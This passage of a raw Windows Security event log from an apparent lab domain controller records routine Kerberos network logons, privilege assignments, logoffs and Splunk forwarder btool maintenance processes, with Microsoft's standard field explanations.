with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250242 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1037EB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64417 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250241 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1037EB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250240 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10373F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250239 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x10373F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64416 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250238 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10373F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250237 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1044 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10c0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250236 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x103684 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250235 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x103684 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64415 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250234 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x103684 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250233 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13e0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250272 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1158 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x117c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-regex --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250271 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x117c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10b8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-regex --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250270 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1128 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1130 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-strptime --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250269 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1130 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10b8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-strptime --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250268 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x111c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool check --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250267 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x111c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10b8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" check --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250266 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1043FC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250265 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1043FC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64422 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250264 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1043FC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250263 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10439B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250262 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x10439B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64421 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250261 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10439B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250260 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x104335 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250259 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x104335 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64420 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon 